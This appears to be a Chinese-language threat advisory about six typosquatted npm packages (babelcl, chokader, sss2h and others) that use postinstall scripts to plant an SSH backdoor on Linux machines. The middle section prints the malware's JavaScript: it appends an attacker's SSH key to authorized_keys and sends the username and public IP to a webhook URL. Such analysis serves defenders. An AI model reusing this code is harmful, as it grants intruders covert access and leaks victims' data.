Socket 的威胁研究团队检测到六个由威胁行为者 “sanchezjosephine180” 发布的恶意 npm 包。这些包通过“名字劫持”(typosquatting)技术模仿了开发者社区中极为流行的库。这些目标库包括 babel-cli、chokidar、streamsearch、ssh2、npm-run-all 和 node-pty,它们总下载量达数千万次,是开发者社区不可或缺的一部分。

这些恶意包分别是 babelcl、chokader、streamserch、sss2h、npmrunnall 和 node-pyt。这些包通过向 Linux 系统注入后门代码,允许威胁行为者通过 SSH 获得未经授权的访问权限。目前,这些恶意包仍然在线,总下载量已超过 700 次。我们已向 npm 官方请求下架这些包。

【供应链攻击】恶意 npm 包通过名字劫持植入 SSH 后门Socket AI 扫描器检测到的名字劫持和恶意 “streamserch” 包

威胁行为者利用开发者常见的输入错误,并滥用 postinstall 脚本分发恶意代码,目的是攻击开发者和相关组织。postinstall 脚本在包安装后会自动执行。它先运行 node app.js,然后安装一个合法的库(例如 npm install streamsearch),从而掩盖恶意行为。这样一来,合法功能得以呈现,降低了恶意代码被及时发现的可能性。

影响范围

未经授权的 SSH 访问就像在坚固的城堡墙上开了一个隐秘的门。攻击者可以悄无声息地进入,绕过安全措施,在系统内部自由行动,窃取情报,甚至可能危及整个网络的安全。在暗网上,SSH 访问凭据的交易十分活跃,威胁行为者利用这些凭据实施网络攻击和欺诈行为。安全研究人员已记录到攻击者使用 SSH 访问从事间谍活动、非法加密货币挖矿,甚至将其作为勒索软件攻击的入口。一个未经授权的 SSH 密钥不仅打开了一扇门,更为攻击者创建了一条隐蔽的通道,可以轻松渗透并威胁整个组织的数字安全堡垒。

【供应链攻击】恶意 npm 包通过名字劫持植入 SSH 后门威胁行为者在地下论坛 Exploit 上出售 SSH 访问权限【供应链攻击】恶意 npm 包通过名字劫持植入 SSH 后门专门出售 SSH 访问权限的暗网商店

SSH 后门代码

恶意包中的脚本允许威胁行为者通过 SSH 访问受害者系统,暴露敏感信息(如用户名和 IP 地址),并为进一步的恶意活动建立桥头堡。以下是威胁行为者的代码(已去除关键威胁部分并添加注释,以解释恶意功能):

const fs = require('fs');
const os = require('os');
const path = require('path');
const https = require('https');

// 获取当前用户的用户名
const username = os.userInfo().username;

// 获取机器的公网 IP 地址
function getPublicIP() {
return new Promise((resolve, reject) => {
https.get('https://ipinfo[.]io/ip', (res) => {
let data = '';
res.on('data', chunk => {
data += chunk;
});
res.on('end', () => {
resolve(data.trim());
});
}).on('error', (err) => {
reject(err);
});
});
}

// 硬编码的攻击者 SSH 公钥
const publicKey = ssh-rsa AAAAB3NzaC...;

// 添加攻击者 SSH 密钥到受害者的 authorized_keys 文件中
async function addSSHKey() {
if (os.platform() === 'linux') {
try {
const ipAddress = await getPublicIP();
const fullPublicKey = ${publicKey} ${username}@${ipAddress};
const sshDir = path.join(os.homedir(), '.ssh');
const authorizedKeysPath = path.join(sshDir, 'authorized_keys');

        if (!fs.existsSync(sshDir)) {
            fs.mkdirSync(sshDir, { mode: 0o700 });
        }

        if (fs.existsSync(authorizedKeysPath)) {
            fs.appendFileSync(authorizedKeysPath, `n${fullPublicKey}n`);
        } else {
            fs.writeFileSync(authorizedKeysPath, `${fullPublicKey}n`, { mode: 0o600 });
        }

        https.get(`https://webhook-test[.]com/8caf20007640ce1a4d2843af7b479eb1?data=I:${ipAddress}&M:${username}`, () => {});
    } catch (err) {}
}

}

addSSHKey();

此恶意脚本在 authorized_keys 文件中添加攻击者的 SSH 密钥,从而授予攻击者系统访问权限,同时通过远程服务器发送用户名和公网 IP 地址,实现数据外泄。脚本静默运行,安装包时自动执行,极难察觉。

【供应链攻击】恶意 npm 包通过名字劫持植入 SSH 后门Socket AI 扫描器对恶意 “sss2h” 包的描述

命令与控制 (C2)

攻击者通过接收用户名和 IP 地址得知恶意脚本已成功在受害者机器上运行。这些信息帮助攻击者标识受感染的系统,并使用注入的 SSH 密钥建立连接。攻击者利用看似正常的 HTTPS 请求(例如 webhook-test.com)规避基本的网络安全措施。这种服务允许生成独特的 URL 用于接收 HTTP/S 请求,在此案例中则被用于收集受害者数据,同时隐藏攻击者的服务器或 IP 地址,增加追踪难度。

第七个包

除上述六个恶意包外,还有一个名为 parimiko 的包,它模仿了 Python 的流行 SSH 库 paramiko。尽管 parimiko 当前没有恶意代码,但威胁行为者可能利用它打造合法的假象,为后续分发恶意代码做准备。一旦该包积累了足够多的安装量,未来可能通过更新注入恶意代码。

展望与结论

此次发现表明,软件供应链的安全漏洞问题日益严重。开发者和组织需要高度警惕,加强依赖管理和安全审查。利用像 Socket 提供的实时威胁检测工具,可以帮助防范此类供应链攻击。

MITRE ATT&CK

T1195.002 — 供应链妥协:软件供应链攻击

T1036.005 — 冒充:模仿合法名称或位置

T1059.007 — 命令和脚本解释器:JavaScript

T1021.004 — 远程服务:SSH

T1190 — 利用公开服务漏洞

T1005 — 从本地系统获取数据

T1567.004 — 通过 Web 服务外泄:利用 Webhook

威胁指标 (IOCs)

恶意包:

babelcl

chokader

streamserch

sss2h

npmrunnall

node-pyt

命令与控制服务器:

https://webhook-test[.]com/8caf20007640ce1a4d2843af7b479eb1

文章原文链接:https://www.anquanke.com/post/id/302211